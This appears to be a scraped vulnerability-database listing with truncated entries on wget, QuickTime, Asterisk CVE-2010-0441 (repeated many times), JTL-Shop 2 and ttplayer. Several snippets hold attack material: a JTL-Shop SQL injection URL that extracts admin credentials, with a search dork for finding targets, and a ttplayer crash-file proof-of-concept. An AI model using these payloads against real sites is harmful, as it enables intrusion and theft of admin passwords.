Debian DSA-1904-1 : wget - insufficient input validation

Daniel Stenberg discovered that wget, a network utility to retrieve files from the Web using HTTPS and FTP, is vulnerable to the 'Null Prefix Attacks Against SSL/TLS Certificates' published at the Blackhat conference some time ago. This allows an attacker to perform undetected man-in-the-middle...

Apple QuickTime MOV File JVTCompEncodeFrame Heap Overflow (CVE-2007-2295)

Apple QuickTime is a multimedia player that supports a wide range of media formats. The software supports parsing and displaying picture files as well as numerous audio/video formats. One of the supported video format is the ITU-T H.264 standard, also known as MPEG-4 Part 10 or Advanced Video...

JTL-Shop 2 SQL Injection

JTL-Shop 2 druckansicht.php SQL Injection Vulnerability author : Lo$T Home : www.sa-hacker.com/vb + www.sec-eviles.com/vb email : [email protected] Dork :" Powered by JTL-Shop 2" exp : http://server/Path/druckansicht.php?s=13 and 1=2 union select 1,2,3,4,5,concatcName,0x3a,cPass,7,8,9 from tadminlogin-...

JTL-Shop 2 - druckansicht.php SQL Injection

JTL-Shop 2 - druckansicht.php SQL Injection JTL-Shop 2 druckansicht.php SQL Injection Vulnerability author : Lo$T Home : www.sa-hacker.com/vb + www.sec-eviles.com/vb email : [email protected] Dork :" Powered by JTL-Shop 2" exp : http://server/Path/druckansicht.php?s=13 and 1=2 union select...

JTL-Shop 2 - 'druckansicht.php' SQL Injection

JTL-Shop 2 druckansicht.php SQL Injection Vulnerability author : Lo$T Home : www.sa-hacker.com/vb + www.sec-eviles.com/vb email : [email protected] Dork :" Powered by JTL-Shop 2" exp : http://server/Path/druckansicht.php?s=13 and 1=2 union select 1,2,3,4,5,concatcName,0x3a,cPass,7,8,9 from tadminlogin-...

Asterisk T.38 Negotiation Remote DoS Vulnerability (AST-2010-001)

Asterisk is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:digium:asterisk";...

DEBIAN-CVE-2010-0441

Asterisk Open Source 1.6.0.x before 1.6.0.22, 1.6.1.x before 1.6.1.14, and 1.6.2.x before 1.6.2.2, and Business Edition C.3 before C.3.3.2, allows remote attackers to cause a denial of service daemon crash via an SIP T.38 negotiation with an SDP FaxMaxDatagram field that is 1 missing, 2 modified ...

CVE-2010-0441

Asterisk Open Source 1.6.0.x before 1.6.0.22, 1.6.1.x before 1.6.1.14, and 1.6.2.x before 1.6.2.2, and Business Edition C.3 before C.3.3.2, allows remote attackers to cause a denial of service daemon crash via an SIP T.38 negotiation with an SDP FaxMaxDatagram field that is 1 missing, 2 modified ...

Code injection

Asterisk Open Source 1.6.0.x before 1.6.0.22, 1.6.1.x before 1.6.1.14, and 1.6.2.x before 1.6.2.2, and Business Edition C.3 before C.3.3.2, allows remote attackers to cause a denial of service daemon crash via an SIP T.38 negotiation with an SDP FaxMaxDatagram field that is 1 missing, 2 modified ...

CVE-2010-0441

Asterisk Open Source 1.6.0.x before 1.6.0.22, 1.6.1.x before 1.6.1.14, and 1.6.2.x before 1.6.2.2, and Business Edition C.3 before C.3.3.2, allows remote attackers to cause a denial of service daemon crash via an SIP T.38 negotiation with an SDP FaxMaxDatagram field that is 1 missing, 2 modified ...

CVE-2010-0441

Asterisk Open Source 1.6.0.x before 1.6.0.22, 1.6.1.x before 1.6.1.14, and 1.6.2.x before 1.6.2.2, and Business Edition C.3 before C.3.3.2, allows remote attackers to cause a denial of service daemon crash via an SIP T.38 negotiation with an SDP FaxMaxDatagram field that is 1 missing, 2 modified ...

CVE-2010-0441

CVE-2010-0441 affects Asterisk Open Source and Business Edition C.3, where remote attackers can crash the daemon via SIP T.38 negotiation when the SDP FaxMaxDatagram field is missing, negative, or excessively large. Affected versions include Asterisk 1.6.0.x before 1.6.0.22, 1.6.1.x before 1.6.1....

CVE-2010-0441

Asterisk Open Source 1.6.0.x before 1.6.0.22, 1.6.1.x before 1.6.1.14, and 1.6.2.x before 1.6.2.2, and Business Edition C.3 before C.3.3.2, allows remote attackers to cause a denial of service daemon crash via an SIP T.38 negotiation with an SDP FaxMaxDatagram field that is 1 missing, 2 modified ...

Asterisk integer overflow

Integer overflow on T.38 over SIP FaxMaxDatagram field parsing...

AST-2010-001: T.38 Remote Crash Vulnerability

Asterisk Project Security Advisory - AST-2010-001 +------------------------------------------------------------------------+ | Product | Asterisk | |----------------------+-------------------------------------------------| | Summary | T.38 Remote Crash Vulnerability |...

CVE-2010-0441: Improper Input Validation

Asterisk Open Source 1.6.0.x before 1.6.0.22, 1.6.1.x before 1.6.1.14, and 1.6.2.x before 1.6.2.2, and Business Edition C.3 before C.3.3.2, allows remote attackers to cause a denial of service daemon crash via an SIP T.38 negotiation with an SDP FaxMaxDatagram field that is 1 missing, 2 modified ...

AT&T Flaw Let Facebook Users See Accounts

A Georgia mother and her two daughters logged onto Facebook from mobile phones last weekend and wound up in a startling place: strangers’ accounts with full access to troves of private information. Read the full article. Associated Press...

ttplayer 5.6Beta3 Dos POC

No description provided by source. Exploit Title: ttplayer=5.6Beta3 Dos POC Date: 2010-01-06 Author: t-bag YDteam. Software Link: http://ttplayer.qianqian.com Version: 5.6Beta3 Tested on: win7 and win2003 Code : !/usr/bin/python f t-bag crash = "ETM3U\n"+'QQ\1.'+"x41" 81 try: file =...

ttplayer 5.6Beta3 - Denial of Service (PoC)

Exploit Title: ttplayer=5.6Beta3 Dos POC Date: 2010-01-06 Author: t-bag YDteam. Software Link: http://ttplayer.qianqian.com Version: 5.6Beta3 Tested on: win7 and win2003 Code : !/usr/bin/python f t-bag crash = "ETM3U\n"+'QQ\1.'+"x41" 81 try: file = open'1.m3u','w'; file.writecrash; file.close;...

Live TV Script - SQL Injection

? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe: Live TV script suffer from remote sql injection Vendor: livetvscript.com ? Software: Live TV script - ? author: R3d-D3v!L ? TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY ? contact: N/A - ? Date: 3.Jan.2010 ? T!ME:...